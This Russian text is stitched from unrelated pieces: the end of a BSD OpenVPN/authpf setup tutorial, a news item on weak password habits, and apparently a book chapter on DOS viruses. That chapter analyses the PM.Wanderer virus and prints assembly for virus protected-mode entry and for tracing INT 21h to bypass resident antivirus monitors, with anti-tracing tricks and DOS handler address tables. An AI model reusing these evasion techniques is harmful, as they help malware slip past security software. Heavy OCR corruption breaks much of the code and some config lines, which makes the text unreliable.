Теперь для подключения к VPN-серверу достаточно в трее щелкнуть правой кнопкой мыши на значке с красными мониторчиками, выбрать конфиг mycompany_client1 и нажать Connect.
Аутентификационный шлюз на базе pf и authpf
В BSD-системах, используя связку пакетного фильтра pf и авторизационного шелла authpf, можно контролировать доступ клиентов, подключающихся к VPN-службе и корпоративной сети. Схема работы такой конструкции довольно проста: пользователь логинится по ssh, и, в зависимости от введенных данных (имя и пароль), на сервере вступают в силу персональные правила файрвола, в данном случае разрешающие прохождение UDP-пакетов к порту 1194.
Но прежде чем производить настройку authpf, необходимо переопределить некоторые дефолтные значения переменных демона sshd(8). Так мы усложним потенциальному злоумышленнику успешное проведение атаки с целью перехвата и подмены ssh-сессии.
# vi /etc/ssh/sshd_config
# Работаем с использованием протоколов IPv4 и ssh2
AddressFamily inet
Protocol 2
# Ожидаем подключения по всем доступным сетевым интерфейсам
ListenAddress 0.0.0.0
# Запрещаем регистрацию root’а и применение пустых паролей
PermitRootLogin no
PermitEmptyPasswords no
# За счет использования протокола ssh2 и этих двух опций усложняем проведение атак типа ARP- и IP-spoofing
ClientAliveInterval 15
ClientAliveCountMax 3
# Отключаем DNS-резолвинг
UseDNS no
# Определяем списки контроля доступом
AllowGroups wheel users authpf
Для того чтобы внесенные изменения вступили в силу, необходимо дать указание демону перечитать свой конфиг:
# kill -HUP sed q /var/run/sshd.pid
Authpf представляет собой псевдооболочку, которая назначается пользователю системы в качестве login shell (примечание: запись «/usr/sbin/authpf» в файл /etc/shells добавлять не следует). При авторизации пользователя по ssh к текущим правилам фильтра пакетов с помощью так называемых «якорей» (anchors) будут присоединены правила, указанные в файле /etc/authpf/authpf.rules или в /etc/authpf/users/$USER. В добавляемых правилах допускается использование зарезервированных макросов $user_id и $user_ip, за счет которых будет происходить автоматическая подстановка имени и IP-адреса подключившегося пользователя (значения макросов считываются из переменных окружения ssh автоматически).
В конец файла login.conf(5) заносим сведения о новом классе authpf, пользователи которого в качестве стандартного шелла будут получать authpf:
# vi /etc/login.conf
authpf:
:shell=/usr/sbin/authpf:
:tc=default:
С помощью штатной утилиты cap_mkdb(8) обновляем хэшированную базу данных /etc/login.conf.db:
# cap_mkdb /etc/login.conf
Мы не будем переопределять умолчальные значения директив anchor и table, поэтому файл authpf.conf оставляем пустым:
# echo -n > /etc/authpf/authpf.conf
Подготавливаем приветственное сообщение authpf.message (аналог /etc/motd):
# vi /etc/authpf/authpf.message
This service is for authorised VPN-clients only. Please play nice.
Создаем нового пользователя, который принадлежит классу authpf, входит в группу authpf и в качестве оболочки получает /usr/sbin/authpf:
# useradd -m -c ‘authpf vpn user’ -g authpf -L authpf
-s /usr/sbin/authpf client1
# passwd client1
Рисуем правило файрвола, разрешающее пользователю client1 доступ к серверу OpenVPN:
# mkdir -p /etc/authpf/users/client1
# vi /etc/authpf/users/client1/authpf.rules
pass in log quick on fxp0 inet proto udp from $user_ip to fxp0
port 1194 keep state
Теперь для подключения механизма якорей добавим следующие записи в pf.conf(5):
# vi /etc/pf.conf
nat-anchor “authpf/*”
rdr-anchor “authpf/*”
binat-anchor “authpf/*”
…
pass in log on $ext_if inet proto tcp to fxp0 port ssh keep state
…
anchor “authpf/*”
И перезагрузим набор рулесетов файрвола:
# pfctl -f /etc/pf.conf
На стороне клиента открываем любой ssh-клиент, например Putty или SecureCRT. Создаем новую сессию, указываем IP-адрес сервера и имя пользователя. Если все настроено правильно, после успешной авторизации правила файрвола на сервере для этого пользователя изменятся и он получит доступ к VPN-службе.
f:vpnputty> plink.exe -pw mypassword client1@213.167.XX.YY
Hello client1. You are authenticated from host “77.41.XX.YY”
This service is for authorised VPN-clients only. Please play nice.
А чтобы постоянно не вводить пароль, можно настроить аутентификацию на базе публичного ключа.
Эндшпиль
Эта статья включает полный набор пошаговых действий, необходимых для внедрения базового VPN-решения удаленного доступа при использовании BSD-системы в качестве VPN-сервера и WinXP/Vista в качестве VPN-клиента. Развернув в 3-4 компаниях подобную конфигурацию, ты сможешь ехать в Египет греть пятки не с пустой кредиткой и кошельком. Удачи.
конецформыначалоформыПо мере того, как возрастает защищенность ИТ-инфраструктуры компаний, хакеры все больше обращаются к методам социального инжиниринга, чтобы выманить у неосторожных пользователей пароли для входа в корпоративные сети. Как показало новое исследование, проведенное специалистами по информационной безопасности, когда дело доходит до выбора и сохранения в тайне паролей, рядовые пользователи все еще выступают в роли слабого звена. Согласно исследованию, проведенному консалтинговой компанией NCC Group, 15% участников онлайнового опроса, которым предложили ввести свой пароль для входа в корпоративную сеть, чтобы поучаствовать в розыгрыше приза, были готовы без лишних сомнений предоставить эту информацию.
По словам Пола Влиссидиса (Paul Vlissidis) из NCC Group, основная проблема персонала, и особенно – ИТ-служб, которые должны лучше разбираться в предмете, – это халатное отношение к паролям, что ставит под угрозу защищенность корпоративных сетей. “Вопрос заключается в том, что лень и невежество приводят к проблемам с безопасностью сетей, – отмечает он. – Пароли играют сейчас еще большую роль – с появлением широкополосной связи в домах все больше сотрудников пользуются удаленным соединением”. И по мере того, как ИТ-подразделения совершенствуют защиту офисных сетей, хакерам приходится все чаще прибегать к методам социального инжиниринга, чтобы выманить пароли у пользователей.
В качестве примеров халатного отношения к паролям Пол Влиссидис назвал случаи, когда весь отдел компании совместно использует пароли, или когда в качестве пароля выбирается какое-либо популярное слово – название футбольного клуба и т.п. Топ-менеджеры компаний часто больше других нарушают правила выбора и использования паролей, отметил эксперт, напоминая, что в качестве пароля лучше использовать не слова, а сочетания букв и цифр. Чтобы не забыть пароль, можно выбрать любимую песню или стихотворение и взять первую букву из каждой строчки первого куплета, советует г-н Влиссидис, добавив несколько цифр. “Пока вы знаете, что это за песня, вы никогда не забудете пароль”, – утверждает он.
Protected Mode – укрытие для вируса
Персональные компьютеры год от года становятся все сложнее и слож-
нее, используют все более высокие аппаратные и программные техноло-
гии. Компьютерные вирусы тоже не отстают и пытаются приспособиться
к новым условиям обитания. Так, вирусы научились заражать загрузоч-
ные сектора дисков, файлы для операционных систем DOS, Windows,
Windows 95, OS/2, Linux и даже документы Word, Excel, и MS-Office 97.
Скрывая свое присутствие в системе, они стали невидимками, или
стелс-вирусами. Они научились быть полиморфными для того, чтобы
их распознавание стало еще более трудной задачей для разработчиков
антивирусных средств. С появлением процессоров i386 вирусы стали
использовать в своем коде 32-разрядные инструкции. В настоящее вре-
мя полиморфные вирусы используют 32-разрядные расшифровывающие
команды в своем декрипторе.
Одним словом, вирусы хотят выжить и победить. Для этого они исполь-
зуют все новые возможности, как программные, так и аппаратные. Но
защищенный режим работы, появившийся вместе с процессором i286,
до недавнего времени вирусам никак не удавалось “приручить”. Вернее,
были “пробы пера”, но реального решения этой задачи они не дали.
Загрузочный вирус PMBS, первым пытавшийся освоить защищенный ре-
жим (1994 г.), не мог ужиться ни с одной программой или драйвером
(EMM386, Windows, OS/2,…), которые также использовали в своей рабо-
те защищенный режим. Вирусы Evolution.2761 и Evolution.2770 (тоже
1994 г.) использовали только часть мощного защищенного режима и толь-
ко в то время, когда процессор работал в реальном режиме. Данные виру-
сы заменяли реальную таблицу векторов прерываний на собственную.
Но вот, похоже, проблема близка к разрешению: в России в “диком”
виде обнаружен файловый вирус PM.Wanderer, использующий защи-
щенный режим. Причем он более или менее корректно и стабильно вза-
имодействует с другими программами и драйверами, также использую-
щими защищенный режим.
PM.Wanderer является резидентным полиморфным вирусом, использу-
ющим защищенный режим процессоров i386-Pentium. Для установки
своей резидентной копии в память и переключения в защищенный ре-
жим процессора (Protected Mode) вирусом используется документиро-
ванный интерфейс VCPI (Virtual Control Program Interface) драйвера
расширенной памяти EMS (EMM386).
——————————————————————————–
При старте инфицированной программы вирусный полиморфный дек-
риптор расшифровывает основное тело вируса и передает ему управле-
ние. Далее основной вирусный код выделяет участок памяти в верхних
адресах, копирует в него собственный код и передает ему управление.
Затем он восстанавливает код инфицированного файла в программном
сегменте (для ЕХЕ-файлов также производит настройку адресов пере-
мещаемых элементов) и приступает к непосредственному внедрению
в память своей резидентной копии. .
В первую очередь вирус пытается вьыснить, установлен ли в системе драй-
вер EMS. Если этот драйвер не установлен или вирусная резидентная ко-
пия уже находится в памяти, вирус отдает управление программе-вирусо-
носителю, заканчивая тем самым свою “жизнедеятельность” в системе.
Если же “условия среды обитания” благоприятствуют, вирус выполня-
ет ряд подготовительных операций для выделения памяти под свое тело
и производит переключение процессора в защищенный режим работы
с наивысшим уровнем привилегий – режим супервизора.
В защищенном режиме вирус устанавливает две аппаратные контрольные
точки на адреса входа в обработчик прерывания INT 21h (функции DOS)
и перехода на процедуру перезагрузки компьютера. Кроме того, вирус
корректирует дескрипторную таблицу прерываний таким образом, чтобы
на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) ус-
тановить собственные дескрипторы обработчиков прерываний.
После этих приготовлений вирус копирует свой код в страницу памяти,
полученную им еще до входа в защищенный режим, и производит пере-
ключение процессора обратно в виртуальный режим работы. Затем он
начинает процедуру освобождения ранее выделенной памяти DOS
в верхних адресах и возвращает управление инфицированной программе.
С этого момента инфицированная программа начинает свою основную
работу, а в защищенном режиме оказываются установленными вирус-
ные обработчики – ловушки на INT 1 и прерывания от клавиатуры на
INT 9. С их помощью вирус контролирует, во-первых, все вызовы фун-
кций DOS, во-вторых, все нажатия клавиш на клавиатуре, и, в-третьих,
попытки мягкой перезагрузки компьютера. В свою очередь, такой конт-
роль обеспечивает вирусу возможность как надежно реагировать на ряд
интересующих его событий при работе программы, так и постоянно
проверять состояние двух своих контрольных точек и при необходимо-
сти восстанавливать их.
——————————————————————————–
В частности, если вирус обнаруживает, что данный вызов исходит
от его “собрата”, он просто возвращает некоторое условное значение,
играющее роль отзыва “я – свой”. Таким образом, вирус, пытавшийся
выяснить наличие своей копии в памяти, будет информирован о том,
что память уже инфицирована.
Если вирус обнаруживает попытку получения адреса прерывания INT 6
(обычно такой вызов существует во всех программах, написанных на
языках высокого уровня, например С, Pascal), то он 1″Ъ1тается найти
в адресном пространстве некоторую последовательность байт, очевидно
принадлежащих программе ADinf, но какой-то старой версии. Кстати,
по информации разработчика ADinf Дмитрия Мостового, за последний
год в версиях ADinf не содержится такая последовательность. Если дан-
ная последовательность вирусом найдена, он определенным образом
модифицирует найденный код, чтобы управление не попадало на вызов
межсегментной процедуры, демонстрирующей пользователю найденные
на диске или в файлах изменения.
Если же вирус обнаруживает запрос на запуск программы или открытие
файла (только на чтение), то понимает, что наступило время “большой
охоты”. Вирус копирует свой код в старшие адреса виртуального про-
цесса DOS-машины, переключает процессор в виртуальный режим
и отдает управление своему коду (процедуре заражения).
В виртуальном режиме вирус проверяет последние две буквы расшире-
ния имени файла (ОМ или ХЕ), создает свою полиморфную копию
и заражает файлы размером более 4095 байт. Файлы, содержащие
в поле значения времени создания 34 секунды, вирус не заражает, счи-
тая их уже инфицированными. Корректировку атрибутов файлов вирус
не производит, поэтому все файлы, помеченные как “только для чте-
ния”, заражены не будут. Также вирус не заражает программы, имя ко-
торых состоит из 7 букв. Имена данных программ выяснить не удалось,
так как вирус не определяет их имена явно, а подсчитывает CRC име-
ни. Вирус не берет на себя обработку критических ошибок, поэтому при
попытке записи на защищенный диск в процессе заражения появится
стандартный вопрос DOS (…Retry, Ignore, Fail, Abort).
При заражении файлов вирус использует прямой вызов ядра обработчи-
ка DOS INT 21h. Адрес этого ядра он выясняет при трассировке INT 21h
во время своей установки в память. Вирусный код внедряется в начало
СОМ- или в середину ЕХЕ-файла (сразу же после заголовка). Ориги-
нальный программный код запоминается в конце файла. Реальный
——————————————————————————–
рабочий код вируса составляет 3684 байт, но на практике инфицирован-
ные файлы имеют приращение длины более 3940 байт. В теле вируса
содержится текст “WANDERER”.
Обнаружить резидентную копию данного вируса, находящегося в нуле-
вом кольце защищенного режима процессора, обычными способами не-
возможно. Для этого необходимо переключаться в защищенный режим
с наивысшими привилегиями и производить его поиск. Но попытаться
обнаружить признаки вируса в системе можно и обычными способами.
После обнаружения вируса рекомендуется, как и всегда в таких случа-
ях, перезагрузиться с системной дискеты и выполнить лечение в заведо-
мо стерильных условиях. Правда, данный вирус не является Stealth-ви-
русом, и его лечение допустимо даже при активном вирусе.
Теперь немного о результатах тестирования. При заражении несколь-
ких тысяч файлов-жертв вирус проявил себя как “жилец” – все зара-
женные файлы оказались работоспособными. Здесь надо сделать по-
правку – файлы могут оказаться неработоспособными в том случае,
если их стек после заражения окажется в области вирусного кода.
PM.Wanderer при заражении файлов не корректирует значения стар-
товых SS:SP в ЕХЕ-заголовке. Как уже отмечалось выше, он сохраняет
способность к воспроизводству только в том случае, если в системе уста-
новлен драйвер EMS (EMM386). При установленном драйвере EMM386
с ключом NOEMS вирус перезагружает компьютер. Перезагрузка также
возможна, если в системе используется драйвер QEMM386.
Самое интересное, что если в системе находился резидентный вирус,
а потом произошла загрузка Windows 3.1 или Windows 95, то вирус не
сможет размножаться в данных операционных средах, но при выходе
в DOS он опять получает управление и может “трудиться, не покладая
рук”. Если же вирус будет запущен в DOS-сессии Windows, то из-за
отсутствия интерфейса VCPI вирус не сможет переключиться в защи-
щенный режим. При отсутствии VCPI под OS/2 вирус также нежизнес-
пособен.
Возможно, в недалеком будущем компьютерный вирус сможет полнос-
тью заменить своим кодом программу-супервизора и сам будет поддер-
живать интерфейсы DPMI, EMS/VCPI, XMS, INT 15h. Кто знает.
Приведенная ниже программа позволяет программисту перевести про-
цессор в защищенный режим. В этом режиме вирус может, например,
расшифровать некоторые данные.
——————————————————————————–
Данная программа делает следующее:
- создает таблицы GDT и LDT, используя текущие значения
CS.DS.SS
- запрещает все прерывания, открывает линию А20
для доступа к RAM>1 Мбайт
- переводит процессор в защищенный режим
- в первый символ строки qw заносит символ L
- выходит в реальный режим
- разрешает прерывания, закрывает А20 -т
- выводит на экран строку qw (”Light General”)
- выход в DOS
.286
.model tiny
.code
org 100h
Определения для защищенного режима работы программы
;Структура дескриптора
desc_struc STRUC
limit dw 0
baseJ dw 0
base_h db 0
access db 0
rsrv dw 0
desc_struc ENDS
ACC_PRESENT equ WOOOOOOb
ACC_CSEG equ OOO-MOOOb
ACC_DSEG equ 000-IOOOOb
ACC_EXPDOWN equ 000001 OOb
ACC_CONFORM equ 000001 OOb
ACC_DATAWR equ 0000001 Ob
DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR
; 1001001 Ob
CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM
; 10011100b
STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or
ACC.EXPDOWN; 1001011 Ob
;Размеры сегментов (реальные размеры на единицу больше)
CSEG SIZE=65535
——————————————————————————–
DSEG_SIZE=65535
STACK_SIZE=65535
[Смещения используемых дескрипторов
CS_DESCR=(gdt_cs-gdt_0)
DS_DESCR=(gdt_ds-gdt_0)
SS_DESCR=(gdt_ss-gdt_0)
;Константы значений портов ?
CMOS_PORT equ 70h
STATUS_PORT equ 64h
SHUTDOWN equ OFEh
A20_PORT equ OD1h
A20_ON equ ODFh
A20_OFF equ ODDh
INT_MASK_PORT equ 21 h
KBD_PORT_A equ 60h
start:
.Инициализируем необходимые данные для перехода
;в защищенный режим
call init_protected_mode
[Переходим в защищенный режим
call set_protected_mode
;Теперь компьютер работает в защищенном режиме!
;Так как таблица прерываний реального режима не может быть
использована в защищенном, прерывания запрещены!
;Именно тут можно вставить инструкции, нужные вирусу
.Возвращаемся в реальный режим
call set_real_mode
[Печатаем сообщение "Light General"
mov ah,09h
lea dx.qw
int 21 h
;Выходим в DOS
mov ax,4COOh
int 21 h
--------------------------------------------------------------------------------
[Макрокоманда для установки адреса для дескриптора
;в глобальной таблице дескрипторов GDT.
;На входе регистры DLAX должны содержать
.абсолютный адрес сегмента
setgdtentry MACRO
mov [desc_struc.base_l][bx],ax
mov [desc_struc.base_h][bx],dl
ENDM
•
gdt_gdt desc_struc
gdt_ds desc_struc
gdt_cs desc_struc
gdt_ss desc_struc
GDT_SIZE=($-GDT_BEG)
END start
Обход резидентных антивирусных мониторов
Обычно все программы используют сервис DOS так:
mov ah,…
int 21 h
По команде INT управление передается в точку, адрес которой определя-
ется двумя словами, находящимися в таблице векторов прерываний
по адресу 0000h:0084h. С этого момента начинается исполнение команд
многочисленных обработчиков прерывания INT 21h и не менее многочис-
ленных резидентных программ до тех пор, пока управление, наконец,
не получит оригинальный обработчик операционной системы (рис. 5.1.):
Разумеется, среди этих многочисленных обработчиков может “затесаться”
обработчик, принадлежащий антивирусному монитору, который не дает
спокойно работать не только вирусам, но и обычным программам.
Поэтому серьезные вирусы и некоторые хорошо написанные программы
пытаются определить адрес оригинального обработчика и обратиться
к нему напрямую, в обход остальных обработчиков:
mov ah,…
pushf
——————————————————————————–
call dword ptr 021
021 dw ?
S21 dw ?
Но антивирусные мониторы учитывают эту возможность и принимают
свои меры.
Определение адреса оригинального обработчика DOS
Для того чтобы обратиться к DOS напрямую, нужно знать адрес ориги-
нального обработчика. Получить этот адрес не так просто.
Метод трассировки
Чаще всего используется метод трассировки при помощи отладочного
прерывания INT 1. Суть метода заключается в том, что вирус трассиру-
ет прерывание INT 21h (включает флаг трассировки, при этом после
каждой команды происходит прерывание INT 1) и проверяет значение
сегмента, в котором идет обработка прерывания. Если значение сегмен-
та меньше ОЗООЬ, то это обработчик DOS. Например, так поступал мно-
го лет назад вирус Yankee 2C (М2С, Музыкальный). Вот листинг соот-
ветствующего фрагмента с комментариями:
;Берем из таблицы векторов прерываний текущий адрес INT 01 h
mov ax,3501 h
int 21h
mov si.bx ;смещение сохраняем в регистре SI
mov di.es ;сегмент сохраняем в регистре DI
Останавливаем свой обработчик INT 01h
mov ax,2501h
mov dx,offset lnt01
int 21h
;Формируем в стеке адрес выхода из трассировки так, чтобы по IRET
;из INT 21h попасть на метку Next – помещаем в стек
.последовательно флаги, сегмент и смещение метки Next
pushf
push cs
mov ax,offset Next
push ax
——————————————————————————–
;Начинаем трассировку INT 21 h. Для этого нужно подготовить стек
;следующим образом: поместить в него флаги с включенным флагом
;трассировки, а также сегмент и смещение текущего обработчика
;INT 21 h. Затем можно выполнить команду IRET – программа запустит
.текущий обработчик и считает из стека флаги (флаг трассировки
;во флаговом регистре включится, начнется трассировка. После
.каждой команды процессора будет запускаться INT 01 h).
;Помещаем в стек флаги, включаем в них бит, соответствующий
;флагу трассировки TF. Для того, чтобы включить флаг
.трассировки TF, после сохранения флагов в стеке считаем их
;в регистр АХ, в нем включим соответствующий бит, а затем
.сохраним регистр АХ в стеке
pushf
poр ax
or ax,0100h
push ax
;Считаем из таблицы векторов прерываний текущий адрес INT 21 h
mov ax,3521 h
int 21 h
[Сохраним в стеке сегмент, а затем и смещение текущего обработчика
push es
push bx
[Установим в регистре АН номер какой-либо безобидной функции
;(чтобы определение адреса обработчика DOS
;не сопровождалось разрушениями)
mov ah.OBh
.Запускаем трассировку
cli
iret
[Обработчик INT 01 h
lnt01:
;При вызове обработчика в стеке находятся: значение регистра IP,
;значение регистра CS, флаги перед прерыванием.
[Адресуемся к стеку с помощью регистра ВР,
--------------------------------------------------------------------------------
[Предварительно сохранив текущее значение ВР
push bp
mov bp.sp
;Теперь в стеке находятся:
;SS:[BP] – ВР
;SS:[BP+2] – IP
;SS:[BP+4] – CS
;SS:[BP+6] – флаги
; Проверяем флаг продолжения
cmp byte ptr cs:ContinueFlag,1
;Если флаг продолжения выключен, то выходим из трассировки
jne TraceOff
[Проверяем текущий адрес. Если сегмент меньше 300h,
обработчик DOS достигнут, иначе - продолжаем трассировку
;и выходим из обработчика
cmp word ptr [bp+4],300h
jnc ExitFromInt
[Достигнут DOS - берем из стека адрес обработчика и сохраняем его
push bx
mov bx,[bp+2]
mov word ptr cs:021,bx
mov bx,[bp+4]
mov word ptr cs:S21,bx
pop bx
.Заканчиваем обработку прерывания и дальнейшую трассировку
TraceOff:
[Устанавливаем в ноль бит, соответствующий TF,
;в копии регистра флагов в стеке
and word ptr [bp+6],OFEFFh
[Устанавливаем в ноль флаг продолжения
mov byte ptr cs:ContinueFlag,0
ExitFromInt:
pop bp
.Выходим из обработчика
i ret
--------------------------------------------------------------------------------
[Восстановление после трассировки
Next:
[Сбрасываем флаг продолжения
mov byte ptr ds:ContinueFlag,0
[Восстанавливаем прежнее значение вектора прерывания INT 01 h
mov ax,2501 h
mov dx.si
mov ds.di
int 21 h
В настоящее время этот алгоритм можно считать несколько устарев-
шим. Дело в том, что современные версии DOS могут размещать свой
обработчик в областях верхней памяти. Поэтому условие окончания
трассировки должно выглядеть, например, так:
cmp word ptr [bp+4],300h
jb loc_65
cmp word ptr [bp+4],OFOOOh
ja loc_65
В качестве альтернативного варианта можно использовать такой прием.
Сначала определяется исходный сегмент DOS при помощи недокумен-
тированной функции 52h прерывания INT 21h (возвращает адрес век-
торной таблицы связи DOS):
mov ah, 52h
int 21h
mov SegDOS, es
Тогда условие завершения трассировки можно оформить следующим
образом:
push ax
mov ax, cs: SegDOS
cmp word ptr [bp+6], ax
pop ax
jz DOSIsGot
Разумеется, разные приемы могут дать разные результаты. Причем все
результаты можно считать в той или иной мере корректными. Дело
в том, что современные версии DOS, даже будучи загруженными в верх-
нюю память, всегда имеют точку входа в нижней памяти вида:
——————————————————————————–
пор
пор
[Проверка состояния адресной линии А20
call Check_A20
[Переход в верхнюю память
jmp cs: dword ptr HI_DOS
С точки зрения обхода резидентных мониторов "правильным" следует
признать адрес в обработчике DOS, имеющий максимальное значение.
Мы еще вернемся к вопросу о нахождении "правильного" адреса далее.
Авторы антивирусных мониторов знают о подобном приеме поиска ори-
гинального адреса DOS. Достаточно легко испортит трассировку, на-
пример, вот такой вот фрагмент, встроенный в цепочку обработчиков:
.Вызываем обработчик прерывания INT 60h (до этого момента
[Прерывание INT 60h должно быть перехвачено)
int 60h
;Сюда нужно вернуться из прерывания
пор
[Сюда реально вернемся, и флаг трассировки будет сброшен,
;то есть трассировка будет прекращена
пор
[Обработчик прерывания. При вызове прерывания флаг трассировки
.сбрасывается - при входе в обработчик трассировка будет выключена
lnt60:
[Разрешение прерываний, так как при выходе из обработчика не
[будет восстанавливаться оригинальное значение регистра флагов
sti
[Увеличиваем на единицу адрес возврата в стеке
push bp
mov bp, sp
add [bp+2],1
pop bp
[Выходим из прерывания, но не командой IRET, а командой RETF 2,
.чтобы не восстанавливать флаги (и, как следствие,
--------------------------------------------------------------------------------
.флаг трассировки TF)
retf 2
Кроме того, факт трассировки можно достаточно просто обнаружить,
применив хорошо известный разработчикам защит от несанкционирован-
ного копирования прием аппаратного конвейера, который использует
процессор для ускорения работы. При выполнении очередной команды
процессор считывает код следующей. Когда придет время выполнения
следующей команды, она будет уже считана из памяти, и не нужно бу-
дет тратить время на ее чтение. Прием заключается в модификации ко-
манд, которые уже оказались в конвейере: если трассировка не ведется,
то код команд модифицируется только в памяти, а выполняется та про-
грамма, которая находится в конвейере. Если трассировка ведется, то
конвейер сбрасывается перед каждой командой трассируемой програм-
мы (конвейер сбрасывают такие команды, как JMP, CALL, RET) и вы-
полняется модифицированный код.
Кодифицируем следующую команду. Команда JMP (безусловный
; переход) заменяется на две команды NOP (нет операции)
mov Metka, 9090h
Переходим, если выполняется немодифицированный код (в случае,
;когда трассировка не ведется), и проходим дальше, если выполняется
кодифицированный код (в случае трассировки)
Metka: jmp NoTrace
Trace:
;Сюда попадем при выявленном факте трассировки
NoTrace:
Трассировка не ведется - нормальное выполнение программы
Наконец, последний гвоздь в гроб идеи использования трассировки за-
бит: "Выставленный флаг трассировки можно выявить косвенно, замас-
кировав аппаратные прерывания, поместив в [SP-1] контрольное значе-
ние и дав инструкцию STI. Тогда по изменению слова в стеке можно
судить, было трассировочное прерывание или нет”.
Выявив факт трассировки прерывания DOS, мониторы начинают выда-
вать об этом соответствующие сообщения, поэтому даже не самый
опытный пользователь догадается, что кто-то (например, вирус) пытает-
ся попасть в систему.
——————————————————————————–
Метод предопределенньш адресов
Переходим к методу определения оригинального адреса точки входа
в DOS, основанному на том, что эти адреса для разных версий и конфи-
гураций DOS имеют в общем случае различные значения, но число
их ограничено. А это значит, что их можно просто-напросто выбирать
из таблицы (причем не очень большой). Прием не новый, но незаслу-
женно забытый.
Имея программу, основанную на одном из ранее описанных способов
определения реального адреса обработчика DOS, загрузочные дискеты
с разными версиями DOS и немного терпения, можно получить при-
мерно вот такую информацию.
Оригинальный обработчик DOS версии 3.30 всегда имеет вид:
.Точка О
2Е CS:
891ЕВ800 MOV [ООВ8],ВХ
2Е CS:
8С06ВАОО MOV [OOBA],ES
СВ RETF
.Точка 1
2Е CS:
3A26FFOD СМР AH,[ODFF]
77DC JA 1443
80FC51 СМР АН,51
74А1 JZ 140D
80FC64 СМР АН,64
74ВА JZ 143A
;Точка 2
Оригинальные обработчики DOS версий 5.0-7.0 очень похожи.
В общем случае они состоят из следующих фрагментов:
Фрагмент 1 (если он присутствует) всегда располагается в нижних ад-
ресах памяти. Большинство алгоритмов трассировки заканчивают рабо-
ту, достигнув этой точки. Для DOS версий 5.0-6.22 этот фрагмент при-
сутствует, если в CONFIG.SYS есть строка DOS=HIGH (вне
зависимости от того, осуществляется ли запуск поддерживающего эту
опцию драйвера HIMEM.SYS). Если драйвера нет, то JMP FAR просто
——————————————————————————–
указывает на фрагмент 2, размещающийся в нижних областях памяти.
Если строки DOS=HIGH нет, то фрагмент 1 вырожден (состоит из од-
ной команды внутрисегментного перехода), и обработчик состоит
из фрагмента 2.
;Точка О
90 МОР
90 NOP
E8CCOO CALL CheckA20
2E CS:
FF2E6A10J MP FAR NEXTDOS
Фрагмент 2 может располагаться как в верхних, так и в нижних адре-
сах памяти.
;Точка 1
NEXTDOS:
FA CLI
80FC6C СМР АН.6С
77D2 JA 40DO
80FC50 СМР АН.50
748Е JZ 40A9
;Точка 2
Для DOS 7.0 структура обработчика, в общем, такая же. Исключение -
фрагмент 1 присутствует всегда, вне зависимости от содержимого фай-
ла CONFIG.SYS. Теперь приведем конкретные значения адресов, полу-
ченные для разных случаев:
DOS 7.0 (русская версия)
Точка О OOC9:OFB2 9090
Точка 1 FF03:41E7 80FA
Точка 2 FF03:420A 1E06
Точка 2А FF03:5333 2ACD
DOS 6.20
device=himem. sys
dos=high
Точка О 0123:109Е 9090
Точка 1 FDC8:40F8 80FA
Точка 2 FDC8:411B1E06
Точка 2А FDC8:41D12ACD
——————————————————————————–
DOS 6.20
dos=high
Точка О 0123:109Е ОЗЕВ
Точка 1 03AC:40F8 80FA
Точка 2 ОЗАС:411В 1Е06
Точка 2А 03AC:41D1 2ACD
DOS 6.20
Точка 1 002A:40F8 SOFA
Точка 2 002А:411В 1Е06
Точка 2А 002A:41D1 2ACD
DOS 5.0
device=himem. sys
dos=high
Точка О 0123:109Е 9090
Точка 1 FDC8:40EB80FA
Точка 2 FDC8:410E 1Е06
Точка 2А FDC8:41C42ACD
DOS 5.0
dos=high
Точка О 0123:109Е ОЗЕВ
Точка 1 03AC:40F8 80FA
Точка 2 ОЗАС:411В 1Е06
Точка 2А 03AC:41D1 2ACD
DOS 5.0
Точка 1 002А:40ЕВ 80FA
Точка 2 002А:410Е 1Е06
Точка 2А 002A:41D1 2ACD
DOS 3.30
Точка О 0070:05DC 892E
Точка 1 0294:1460 ЗА2Е
Точка 2 0294:1480
Точка 2А 0294:151 В 2ACD
DOS 3.10
Точка О 0070:OD43
DOS 3.20
Точка 0 0070:17DO
——————————————————————————–
Точка 2 является оптимальной, то есть в нее целесообразнее всего пере-
давать управление, чтобы обойти резидентные антивирусные мониторы.
Точка 2А – это позиция инструкции INT 2Ah, которую DOS обязатель-
но выполняет в процессе обработки 21-го прерывания.
В конце каждой строки приведены контрольные слова – на тот случай,
если по указанному адресу находится нечто иное.
Борьба с антивирусными мониторами
Современные антивирусные мониторы умеют отслеживать факт прямо-
го обращения программ к DOS.
Защиту 21-го прерывания можно организовать более эффективно, ис-
пользуя метод встраивания в ядро операционной системы. Общеприня-
тая схема такова: в точку входа прерывания INT 21h записывается инст-
рукция JMP FAR на обработчик, который проверяет номер функции на
безопасность. Он восстанавливает оригинальные инструкции в точке вхо-
да прерывания и вызывает обработчик INT 21h. После возврата управле-
ния из прерывания, в точку входа снова записывается инструкция JMP
FAR, и управление передается программе, вызвавшей INT 21h.
Здесь описан обычный “сплайсинг” (встраивание), который широко
применяется разработчиками вирусов. Отметим, что для перехода не
обязательно использовать инструкцию JMP FAR (она занимает 5 байт
в памяти и не везде может быть размещена). Вместо нее можно приме-
нить INT 3, затратив всего 1 байт. В то же время необходимо обеспе-
чить обработку вызовов с кодами OOh, 4Ch, 31h (они не возвращают уп-
равление в исходную точку), а также самовызовов (при завершении
процессов посредством INT 27h и INT 20h).
Процесс развивается следующим образом. Первый компонент антивирус-
ного монитора встраивается в ядро DOS, а второй – просто перехватыва-
ет цепочку 21-го прерывания. Когда программа выполняет инструкцию
INT 21h, управление передается второму компоненту. У антивирусных
мониторов существует список функций, которые воспринимаются ими
как опасные. Они могут сделать проверку на наличие заданной функ-
ции в этом списке, затем выставить флаг “проход цепочки” и передать
управление дальше. Когда первый компонент получает управление, он
проверяет флаг “прохода цепочки”. Если он выставлен, то была инст-
рукция INT 21h, поэтому необходимо сбросить флаг “проход цепочки”
и передать управление в DOS. Если флаг сброшен, это значит, что был
5 – 1436
——————————————————————————–
выполнен прямой вызов. В этом случае требуется принимать соответ-
ствующие меры против возможных действий вируса.
Эта идея исключительно проста и эффективна. В том или ином виде ее
применяют почти все современные антивирусные мониторы. Вот один
из таких вариантов.
После трассировки прерывания выполняется обращение к DOS по
оригинальному адресу. Программа AVPTSR перехватывает обращение.
Точнее, AVPTSR перехватывает INT 2Ah, причем этот вызов произве-
ден из INT 21h, вблизи начала фрагмента. Обработчик INT 08h,
то есть таймера, периодически восстанавливает вектор 2Ah, если он
был отключен.
